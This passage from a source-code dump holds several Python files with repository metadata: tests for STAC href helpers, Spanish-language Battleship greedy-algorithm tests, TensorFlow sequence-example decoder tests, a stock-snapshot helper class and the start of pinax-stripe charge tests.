'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/z/item.json'), ('../item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/item.json')] for source_href, start_href, expected in test_cases: actual = make_absolute_href(source_href, start_href) self.assertEqual(actual, expected) def test_make_absolute_href_on_vsitar(self): rel_path = 'some/item.json' cat_path = '/vsitar//tmp/catalog.tar/catalog.json' expected = '/vsitar//tmp/catalog.tar/some/item.json' self.assertEqual(expected, make_absolute_href(rel_path, cat_path)) def test_make_absolute_href_windows(self): utils._pathlib = ntpath try: # Test cases of (source_href, start_href, expected) test_cases = [('item.json', 'C:\\a\\b\\c\\catalog.json', 'c:\\a\\b\\c\\item.json'), ('.\\item.json', 'C:\\a\\b\\c\\catalog.json', 'c:\\a\\b\\c\\item.json'), ('.\\z\\item.json', 'Z:\\a\\b\\c\\catalog.json', 'z:\\a\\b\\c\\z\\item.json'), ('..\\item.json', 'a:\\a\\b\\c\\catalog.json', 'a:\\a\\b\\item.json'), ('item.json', 'HTTPS://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/item.json'), ('./item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/item.json'), ('./z/item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/z/item.json'), ('../item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/item.json')] for source_href, start_href, expected in test_cases: actual = make_absolute_href(source_href, start_href) self.assertEqual(actual, expected) finally: utils._pathlib = os.path def test_is_absolute_href(self): # Test cases of (href, expected) test_cases = [('item.json', False), ('./item.json', False), ('../item.json', False), ('/item.json', True), ('http://stacspec.org/item.json', True)] for href, expected in test_cases: actual = is_absolute_href(href) self.assertEqual(actual, expected) def test_is_absolute_href_windows(self): utils._pathlib = ntpath try: # Test cases of (href, expected) test_cases = [('item.json', False), ('.\\item.json', False), ('..\\item.json', False), ('c:\\item.json', True), ('http://stacspec.org/item.json', True)] for href, expected in test_cases: actual = is_absolute_href(href) self.assertEqual(actual, expected) finally: utils._pathlib = os.path def test_datetime_to_str(self): cases = ( ('timezone naive, assume utc', datetime(2000, 1, 1), '2000-01-01T00:00:00Z'), ('timezone aware, utc', datetime(2000, 1, 1, tzinfo=timezone.utc), '2000-01-01T00:00:00Z'), ('timezone aware, utc -7', datetime(2000, 1, 1, tzinfo=timezone(timedelta(hours=-7))), '2000-01-01T00:00:00-07:00'), ) for title, dt, expected in cases: with self.subTest(title=title): got = utils.datetime_to_str(dt) self.assertEqual(expected, got) def test_geojson_bbox(self): # Use sample Geojson from https://en.wikipedia.org/wiki/GeoJSON with open('tests/data-files/geojson/sample.geojson') as sample_geojson: all_features = json.load(sample_geojson) geom_dicts = [f['geometry'] for f in all_features['features']] for geom in geom_dicts: got = utils.geometry_to_bbox(geom) self.assertNotEqual(got, None)

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4a808a7a3af1474e8e5145718aba73c37903468a

9,286

py

Python

TP3/1. Battleship/Tests/GreedoTest.py

FdelMazo/TDA1

a61dc6abe0a30b129c3b0f8b2df6f74331e08dc7

[ "MIT" ]

2

2020-10-10T17:34:16.000Z

2021-11-20T18:40:16.000Z

TP3/1. Battleship/Tests/GreedoTest.py

FdelMazo/7529rw-TDA

a61dc6abe0a30b129c3b0f8b2df6f74331e08dc7

[ "MIT" ]

null

TP3/1. Battleship/Tests/GreedoTest.py

FdelMazo/7529rw-TDA

a61dc6abe0a30b129c3b0f8b2df6f74331e08dc7

[ "MIT" ]

null

import unittest from Greedo import Greedo from GreedoNaive import GreedoNaive from Partida import Partida from Barco import Barco class TestUnaLanzaderaGreedoSmart(unittest.TestCase): def testUnaLanzaderaUnBarcoUnicaOpcionPosibleDerribarlo(self): greedobruto = Greedo() barco = Barco(100) barco.setPosicion(0, 0) matriz = [[100, 40, 30, 10]] partida = Partida(matriz, [barco], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(barco.estaDerribado()) def testUnaLanzaderaUnBarcoUnicaOpcionPosibleNoDerribarlo(self): greedobruto = Greedo() barco = Barco(100) barco.setPosicion(0, 0) matriz = [[10, 40, 30, 10]] partida = Partida(matriz, [barco], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(barco.estaDerribado()) def testUnaLanzaderaDosBarcosSacaLaMayorCantidadPosible(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0,1) matriz = [[80, 40, 30, 10], [50, 30, 80, 100]] partida = Partida(matriz, [A,B], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) self.assertTrue(A.getVida() < B.getVida()) def testUnaLanzaderaDosBarcosDerribaAlQuePuede(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0,1) matriz = [[100, 40, 30, 10], [50, 30, 80, 100]] partida = Partida(matriz, [A,B], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(A.estaDerribado()) self.assertFalse(B.estaDerribado()) def testUnaLanzaderaDosBarcosDerribaAlQuePuedeInvertido(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0,1) matriz = [[50, 40, 30, 10], [100, 30, 80, 100]] partida = Partida(matriz, [A,B], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertTrue(B.estaDerribado()) def testUnaLanzaderaDosBarcosDerribaIgualesDerribaAlPrimero(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[100, 40, 30, 10], [100, 30, 80, 100]] partida = Partida(matriz, [A,B], 1, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(A.estaDerribado()) self.assertFalse(B.estaDerribado()) class TestDosLanzaderasGreedoSmart(unittest.TestCase): def testDosLanzaderasUnBarcoNoSeDisparaABarcoYaMuerto(self): greedo = GreedoNaive() barco = Barco(100) barco.setPosicion(0, 0) matriz = [[100]] partida = Partida(matriz, [barco], 2, greedo) targets = greedo.elegirTargetsDeLaPartida(partida) self.assertEqual(targets[0], [0,None]) def testDosLanzaderasDosBarcosSeMataAUNoSeDaniaAlOtro(self): greedo = GreedoNaive() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[100],[50]] partida = Partida(matriz, [A,B], 2, greedo) targets = greedo.elegirTargetsDeLaPartida(partida) self.assertEqual(targets[0], [0,1]) class TestTresLanzaderasGreedoSmart(unittest.TestCase): def testTresLanzaderasUnBarcoDerribado(self): greedobruto = Greedo() barco = Barco(100) barco.setPosicion(0, 0) matriz = [[50, 40, 30, 10]] partida = Partida(matriz, [barco], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(barco.estaDerribado()) def testTresLanzaderasUnBarcoNoDerribado(self): greedobruto = Greedo() barco = Barco(100) barco.setPosicion(0, 0) matriz = [[10, 40, 30, 10]] partida = Partida(matriz, [barco], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(barco.estaDerribado()) def testTresLanzaderasDosBarcoUnoDerribado(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[50, 40, 30, 10], [40, 30, 80, 100]] partida = Partida(matriz, [A, B], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(A.estaDerribado()) self.assertFalse(B.estaDerribado()) def testTresLanzaderasDosBarcoUnoDerribadoInvertido(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[10, 40, 30, 10], [50, 30, 80, 100]] partida = Partida(matriz, [A, B], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertTrue(B.estaDerribado()) def testTresLanzaderasDosBarcoAmbosDerribados(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[50, 40, 30, 10], [100, 30, 80, 100]] partida = Partida(matriz, [A, B], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(A.estaDerribado()) self.assertTrue(B.estaDerribado()) def testTresLanzaderasDosBarcoNingunoDerribado(self): greedobruto = Greedo() A = Barco(1000) B = Barco(1000) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[50, 40, 30, 10], [100, 30, 80, 100]] partida = Partida(matriz, [A, B], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) def testTresLanzaderasDosBarcoNingunoDerribado2(self): greedobruto = Greedo() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[1, 1000, 30, 10], [2, 1000, 80, 100]] partida = Partida(matriz, [A, B], 3, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) class TestCuatroLanzaderasGreedoSmart(unittest.TestCase): def testTresLanzaderasDosBarcosNoSeDisparaABarcoDerribado(self): greedo = GreedoNaive() A = Barco(100) B = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[50],[100]] partida = Partida(matriz, [A,B], 4, greedo) targets = greedo.elegirTargetsDeLaPartida(partida) self.assertEqual(targets[0], [1,0,0,None]) class TestsDiferenciasGreedoNaive(unittest.TestCase): def testGreeedoBrutoEligeElMejorTurnoPosible(self): greedobruto = Greedo() A = Barco(300) B = Barco(200) C = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) C.setPosicion(0,2) matriz = [[60],[50],[50]] partida = Partida(matriz, [A, B, C], 2, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(C.estaDerribado()) self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) def testGreedoSmartElijeMejorTurnoQueGreedo(self): greedobruto = Greedo() A = Barco(300) B = Barco(200) C = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) C.setPosicion(0, 2) matriz = [[60], [50], [50]] partida = Partida(matriz, [A, B, C], 2, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertTrue(C.estaDerribado()) self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) greedo = GreedoNaive() A = Barco(300) B = Barco(200) C = Barco(100) A.setPosicion(0, 0) B.setPosicion(0, 1) C.setPosicion(0, 2) partidaG = Partida(matriz, [A, B, C], 2, greedo) targets = greedo.elegirTargetsDeLaPartida(partidaG) partidaG.setTargetDelTurno(targets[0]) partidaG.jugarTurno() self.assertFalse(C.estaDerribado()) self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado()) def testGreedoSmartElijeMejorTurnoQueGreedo2(self): greedobruto = Greedo() A = Barco(700) B = Barco(260) A.setPosicion(0, 0) B.setPosicion(0, 1) matriz = [[300], [280]] partida = Partida(matriz, [A, B], 2, greedobruto) targets = greedobruto.elegirTargetsDeLaPartida(partida) partida.setTargetDelTurno(targets[0]) partida.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertTrue(B.estaDerribado()) greedo = GreedoNaive() A = Barco(700) B = Barco(260) A.setPosicion(0, 0) B.setPosicion(0, 1) partidaG = Partida(matriz, [A, B], 2, greedo) targets = greedo.elegirTargetsDeLaPartida(partidaG) partidaG.setTargetDelTurno(targets[0]) partidaG.jugarTurno() self.assertFalse(A.estaDerribado()) self.assertFalse(B.estaDerribado())

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67

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1,040

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6.477885

0.067308

0.071248

0.040522

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0.773638

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6

4aa3afbe073a8df2f221ef741cdfb4adc4207cf4

11,307

py

Python

research/object_detection/data_decoders/tf_sequence_example_decoder_test.py

akshit-protonn/models

38c8c6fe4144c93d6aadd19981c2b90570c29eba

[ "Apache-2.0" ]

82,518

2016-02-05T12:07:23.000Z

2022-03-31T23:09:47.000Z

research/object_detection/data_decoders/tf_sequence_example_decoder_test.py

yangxl-2014-fe/models

11ea5237818e791a5717716d5413977f4c4db1e3

[ "Apache-2.0" ]

9,021

2016-03-08T01:02:05.000Z

2022-03-31T08:06:35.000Z

research/object_detection/data_decoders/tf_sequence_example_decoder_test.py

yangxl-2014-fe/models

11ea5237818e791a5717716d5413977f4c4db1e3

[ "Apache-2.0" ]

54,341

2016-02-06T17:19:55.000Z

2022-03-31T10:27:44.000Z

# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf_sequence_example_decoder.py.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import numpy as np import tensorflow.compat.v1 as tf from object_detection.core import standard_fields as fields from object_detection.data_decoders import tf_sequence_example_decoder from object_detection.dataset_tools import seq_example_util from object_detection.utils import test_case class TfSequenceExampleDecoderTest(test_case.TestCase): def _create_label_map(self, path): label_map_text = """ item { name: "dog" id: 1 } item { name: "cat" id: 2 } item { name: "panda" id: 4 } """ with tf.gfile.Open(path, 'wb') as f: f.write(label_map_text) def _make_random_serialized_jpeg_images(self, num_frames, image_height, image_width): def graph_fn(): images = tf.cast(tf.random.uniform( [num_frames, image_height, image_width, 3], maxval=256, dtype=tf.int32), dtype=tf.uint8) images_list = tf.unstack(images, axis=0) return [tf.io.encode_jpeg(image) for image in images_list] encoded_images = self.execute(graph_fn, []) return encoded_images def test_decode_sequence_example(self): num_frames = 4 image_height = 20 image_width = 30 expected_groundtruth_boxes = [ [[0.0, 0.0, 1.0, 1.0], [0.0, 0.0, 0.0, 0.0]], [[0.2, 0.2, 1.0, 1.0], [0.0, 0.0, 1.0, 1.0]], [[0.0, 0.0, 1.0, 1.0], [0.1, 0.1, 0.2, 0.2]], [[0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0]] ] expected_groundtruth_classes = [ [-1, -1], [-1, 1], [1, 2], [-1, -1] ] flds = fields.InputDataFields encoded_images = self._make_random_serialized_jpeg_images( num_frames, image_height, image_width) def graph_fn(): label_map_proto_file = os.path.join(self.get_temp_dir(), 'labelmap.pbtxt') self._create_label_map(label_map_proto_file) decoder = tf_sequence_example_decoder.TfSequenceExampleDecoder( label_map_proto_file=label_map_proto_file) sequence_example_serialized = seq_example_util.make_sequence_example( dataset_name='video_dataset', video_id='video', encoded_images=encoded_images, image_height=image_height, image_width=image_width, image_format='JPEG', image_source_ids=[str(i) for i in range(num_frames)], is_annotated=[[1], [1], [1], [1]], bboxes=[ [[0., 0., 1., 1.]], # Frame 0. [[0.2, 0.2, 1., 1.], [0., 0., 1., 1.]], # Frame 1. [[0., 0., 1., 1.], # Frame 2. [0.1, 0.1, 0.2, 0.2]], [[]], # Frame 3. ], label_strings=[ ['fox'], # Frame 0. Fox will be filtered out. ['fox', 'dog'], # Frame 1. Fox will be filtered out. ['dog', 'cat'], # Frame 2. [], # Frame 3 ]).SerializeToString() example_string_tensor = tf.convert_to_tensor(sequence_example_serialized) return decoder.decode(example_string_tensor) tensor_dict_out = self.execute(graph_fn, []) self.assertAllClose(expected_groundtruth_boxes, tensor_dict_out[flds.groundtruth_boxes]) self.assertAllEqual(expected_groundtruth_classes, tensor_dict_out[flds.groundtruth_classes]) def test_decode_sequence_example_context(self): num_frames = 4 image_height = 20 image_width = 30 expected_groundtruth_boxes = [ [[0.0, 0.0, 1.0, 1.0], [0.0, 0.0, 0.0, 0.0]], [[0.2, 0.2, 1.0, 1.0], [0.0, 0.0, 1.0, 1.0]], [[0.0, 0.0, 1.0, 1.0], [0.1, 0.1, 0.2, 0.2]], [[0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0]] ] expected_groundtruth_classes = [ [-1, -1], [-1, 1], [1, 2], [-1, -1] ] expected_context_features = np.array( [[0.0, 0.1, 0.2], [0.3, 0.4, 0.5]], dtype=np.float32) flds = fields.InputDataFields encoded_images = self._make_random_serialized_jpeg_images( num_frames, image_height, image_width) def graph_fn(): label_map_proto_file = os.path.join(self.get_temp_dir(), 'labelmap.pbtxt') self._create_label_map(label_map_proto_file) decoder = tf_sequence_example_decoder.TfSequenceExampleDecoder( label_map_proto_file=label_map_proto_file, load_context_features=True) sequence_example_serialized = seq_example_util.make_sequence_example( dataset_name='video_dataset', video_id='video', encoded_images=encoded_images, image_height=image_height, image_width=image_width, image_format='JPEG', image_source_ids=[str(i) for i in range(num_frames)], is_annotated=[[1], [1], [1], [1]], bboxes=[ [[0., 0., 1., 1.]], # Frame 0. [[0.2, 0.2, 1., 1.], [0., 0., 1., 1.]], # Frame 1. [[0., 0., 1., 1.], # Frame 2. [0.1, 0.1, 0.2, 0.2]], [[]], # Frame 3. ], label_strings=[ ['fox'], # Frame 0. Fox will be filtered out. ['fox', 'dog'], # Frame 1. Fox will be filtered out. ['dog', 'cat'], # Frame 2. [], # Frame 3 ], context_features=[0.0, 0.1, 0.2, 0.3, 0.4, 0.5], context_feature_length=[3], context_features_image_id_list=[b'im_1', b'im_2'] ).SerializeToString() example_string_tensor = tf.convert_to_tensor(sequence_example_serialized) return decoder.decode(example_string_tensor) tensor_dict_out = self.execute(graph_fn, []) self.assertAllClose(expected_groundtruth_boxes, tensor_dict_out[flds.groundtruth_boxes]) self.assertAllEqual(expected_groundtruth_classes, tensor_dict_out[flds.groundtruth_classes]) self.assertAllClose(expected_context_features, tensor_dict_out[flds.context_features]) def test_decode_sequence_example_context_image_id_list(self): num_frames = 4 image_height = 20 image_width = 30 expected_groundtruth_boxes = [ [[0.0, 0.0, 1.0, 1.0], [0.0, 0.0, 0.0, 0.0]], [[0.2, 0.2, 1.0, 1.0], [0.0, 0.0, 1.0, 1.0]], [[0.0, 0.0, 1.0, 1.0], [0.1, 0.1, 0.2, 0.2]], [[0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0]] ] expected_groundtruth_classes = [ [-1, -1], [-1, 1], [1, 2], [-1, -1] ] expected_context_image_ids = [b'im_1', b'im_2'] flds = fields.InputDataFields encoded_images = self._make_random_serialized_jpeg_images( num_frames, image_height, image_width) def graph_fn(): label_map_proto_file = os.path.join(self.get_temp_dir(), 'labelmap.pbtxt') self._create_label_map(label_map_proto_file) decoder = tf_sequence_example_decoder.TfSequenceExampleDecoder( label_map_proto_file=label_map_proto_file, load_context_image_ids=True) sequence_example_serialized = seq_example_util.make_sequence_example( dataset_name='video_dataset', video_id='video', encoded_images=encoded_images, image_height=image_height, image_width=image_width, image_format='JPEG', image_source_ids=[str(i) for i in range(num_frames)], is_annotated=[[1], [1], [1], [1]], bboxes=[ [[0., 0., 1., 1.]], # Frame 0. [[0.2, 0.2, 1., 1.], [0., 0., 1., 1.]], # Frame 1. [[0., 0., 1., 1.], # Frame 2. [0.1, 0.1, 0.2, 0.2]], [[]], # Frame 3. ], label_strings=[ ['fox'], # Frame 0. Fox will be filtered out. ['fox', 'dog'], # Frame 1. Fox will be filtered out. ['dog', 'cat'], # Frame 2. [], # Frame 3 ], context_features=[0.0, 0.1, 0.2, 0.3, 0.4, 0.5], context_feature_length=[3], context_features_image_id_list=[b'im_1', b'im_2'] ).SerializeToString() example_string_tensor = tf.convert_to_tensor(sequence_example_serialized) return decoder.decode(example_string_tensor) tensor_dict_out = self.execute(graph_fn, []) self.assertAllClose(expected_groundtruth_boxes, tensor_dict_out[flds.groundtruth_boxes]) self.assertAllEqual(expected_groundtruth_classes, tensor_dict_out[flds.groundtruth_classes]) self.assertAllEqual(expected_context_image_ids, tensor_dict_out[flds.context_features_image_id_list]) def test_decode_sequence_example_negative_clip(self): num_frames = 4 image_height = 20 image_width = 30 expected_groundtruth_boxes = -1 * np.ones((4, 0, 4)) expected_groundtruth_classes = -1 * np.ones((4, 0)) flds = fields.InputDataFields encoded_images = self._make_random_serialized_jpeg_images( num_frames, image_height, image_width) def graph_fn(): sequence_example_serialized = seq_example_util.make_sequence_example( dataset_name='video_dataset', video_id='video', encoded_images=encoded_images, image_height=image_height, image_width=image_width, image_format='JPEG', image_source_ids=[str(i) for i in range(num_frames)], bboxes=[ [[]], [[]], [[]], [[]] ], label_strings=[ [], [], [], [] ]).SerializeToString() example_string_tensor = tf.convert_to_tensor(sequence_example_serialized) label_map_proto_file = os.path.join(self.get_temp_dir(), 'labelmap.pbtxt') self._create_label_map(label_map_proto_file) decoder = tf_sequence_example_decoder.TfSequenceExampleDecoder( label_map_proto_file=label_map_proto_file) return decoder.decode(example_string_tensor) tensor_dict_out = self.execute(graph_fn, []) self.assertAllClose(expected_groundtruth_boxes, tensor_dict_out[flds.groundtruth_boxes]) self.assertAllEqual(expected_groundtruth_classes, tensor_dict_out[flds.groundtruth_classes]) if __name__ == '__main__': tf.test.main()

36.124601

80

0.590784

1,488

11,307

4.192204

0.137769

0.040398

0.044726

0.048092

0.773164

0.754729

0.727156

0.720744

0

0.051718

0.276643

11,307

312

81

36.240385

0.710967

0.094809

0

0.770115

0

0.038756

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0.038314

1

0.042146

false

0

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0

0.10728

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0

1

0

1

0

null

0

6

4aae4ea2c1b4661c54c2e7c215eb7b2f5df9babd

937

py

Python

Simulation/stock_snapshot_helper.py

SEPHIRONOVA/TradingDataAnalyzer

314cb5bc5f5327ceb16d0ce4e283694eb3f16e99

[ "MIT" ]

null

Simulation/stock_snapshot_helper.py

SEPHIRONOVA/TradingDataAnalyzer

314cb5bc5f5327ceb16d0ce4e283694eb3f16e99

[ "MIT" ]

null

Simulation/stock_snapshot_helper.py

SEPHIRONOVA/TradingDataAnalyzer

314cb5bc5f5327ceb16d0ce4e283694eb3f16e99

[ "MIT" ]

null

from datetime import datetime, time from Simulation.stock_snapshot import StockSnapshot __author__ = 'raymond' class StockSnapshotHelper: def __init__(self, stock_snapshot: StockSnapshot): self.stock_snapshot = stock_snapshot self._closing_time = time(16, 0, 0) def get_mid_price(self): return (self.stock_snapshot.ask_price.last_price + self.stock_snapshot.bid_price.last_price) / 2 def get_high(self): return (self.stock_snapshot.ask_price.high_price + self.stock_snapshot.bid_price.high_price) / 2 def get_low(self): return (self.stock_snapshot.ask_price.low_price + self.stock_snapshot.bid_price.low_price) / 2 def is_end_of_trading_hours(self): if self.stock_snapshot.ask_price.datetime.time() == self._closing_time: return True else: return False def get_timestamp(self): return self.stock_snapshot.ask_price.datetime def get_date(self): return self.stock_snapshot.ask_price.datetime.date()

29.28125

98

0.790822

140

937

4.935714

0.278571

0.244573

0.270622

0.173661

0.454414

0.276411

0.124457

0

0.008454

0.116329

937

31

99

30.225806

0.826087

0

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0

1

0.318182

false

0

0.090909

0.227273

0.772727

0

null

1

0

null

0

1

0

1

0

6

438e313a3fababddaabb504d1689fedb9f0a78a1

133,180

py

Python

pinax/stripe/tests/test_actions.py

lock8/pinax-stripe

50e846e41718646e85219d31676566ebc3fea477

[ "MIT" ]

null

pinax/stripe/tests/test_actions.py

lock8/pinax-stripe

50e846e41718646e85219d31676566ebc3fea477

[ "MIT" ]

114

2017-10-18T09:14:02.000Z

2019-01-24T19:03:01.000Z

pinax/stripe/tests/test_actions.py

lock8/pinax-stripe

50e846e41718646e85219d31676566ebc3fea477

[ "MIT" ]

1

2017-10-20T08:13:09.000Z

import datetime import decimal import json import time from unittest import skipIf import django from django.contrib.auth import get_user_model from django.test import TestCase from django.utils import timezone import stripe from mock import Mock, patch from ..actions import ( accounts, charges, coupons, customers, events, externalaccounts, invoices, plans, refunds, sources, subscriptions, transfers ) from ..models import ( Account, BitcoinReceiver, Card, Charge, Coupon, Customer, Discount, Event, Invoice, Plan, Subscription, Transfer, UserAccount ) class ChargesTests(TestCase): def setUp(self): self.User = get_user_model() self.user = self.User.objects.create_user( username="patrick", email="paltman@example.com" ) self.customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) def test_calculate_refund_amount(self): charge = Charge(amount=decimal.Decimal("100"), amount_refunded=decimal.Decimal("50")) expected = decimal.Decimal("50") actual = charges.calculate_refund_amount(charge) self.assertEquals(expected, actual) def test_calculate_refund_amount_with_amount_under(self): charge = Charge(amount=decimal.Decimal("100"), amount_refunded=decimal.Decimal("50")) expected = decimal.Decimal("25") actual = charges.calculate_refund_amount(charge, amount=decimal.Decimal("25")) self.assertEquals(expected, actual) def test_calculate_refund_amount_with_amount_over(self): charge = Charge(amount=decimal.Decimal("100"), amount_refunded=decimal.Decimal("50")) expected = decimal.Decimal("50") actual = charges.calculate_refund_amount(charge, amount=decimal.Decimal("100")) self.assertEquals(expected, actual) def test_create_amount_not_decimal_raises_error(self): with self.assertRaises(ValueError): charges.create(customer=self.customer, amount=10) def test_create_no_customer_nor_source_raises_error(self): with self.assertRaises(ValueError) as exc: charges.create(amount=decimal.Decimal("10"), customer=None) self.assertEquals(exc.exception.args, ("Must provide `customer` or `source`.",)) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_send_receipt_False_skips_sending_receipt(self, CreateMock, SyncMock, SendReceiptMock): charges.create(amount=decimal.Decimal("10"), customer=self.customer, send_receipt=False) self.assertTrue(CreateMock.called) self.assertTrue(SyncMock.called) self.assertFalse(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_customer(self, CreateMock, SyncMock, SendReceiptMock): charges.create(amount=decimal.Decimal("10"), customer=self.customer) self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs, { "amount": 1000, "currency": "usd", "source": None, "customer": "cus_xxxxxxxxxxxxxxx", "stripe_account": None, "description": None, "capture": True, "idempotency_key": None, }) self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_customer_id(self, CreateMock, SyncMock, SendReceiptMock): charges.create(amount=decimal.Decimal("10"), customer=self.customer.stripe_id) self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs, { "amount": 1000, "currency": "usd", "source": None, "customer": "cus_xxxxxxxxxxxxxxx", "stripe_account": None, "description": None, "capture": True, "idempotency_key": None, }) self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_new_customer_id(self, CreateMock, SyncMock, SendReceiptMock): charges.create(amount=decimal.Decimal("10"), customer="cus_NEW") self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs, { "amount": 1000, "currency": "usd", "source": None, "customer": "cus_NEW", "stripe_account": None, "description": None, "capture": True, "idempotency_key": None, }) self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) self.assertTrue(Customer.objects.get(stripe_id="cus_NEW")) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_idempotency_key(self, CreateMock, SyncMock, SendReceiptMock): charges.create(amount=decimal.Decimal("10"), customer=self.customer.stripe_id, idempotency_key="a") CreateMock.assert_called_once_with( amount=1000, capture=True, customer=self.customer.stripe_id, stripe_account=self.customer.stripe_account_stripe_id, idempotency_key="a", description=None, currency="usd", source=None, ) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_app_fee(self, CreateMock, SyncMock, SendReceiptMock): charges.create( amount=decimal.Decimal("10"), customer=self.customer, destination_account="xxx", application_fee=decimal.Decimal("25") ) self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs["application_fee"], 2500) self.assertEqual(kwargs["destination"]["account"], "xxx") self.assertEqual(kwargs["destination"].get("amount"), None) self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_destination(self, CreateMock, SyncMock, SendReceiptMock): charges.create( amount=decimal.Decimal("10"), 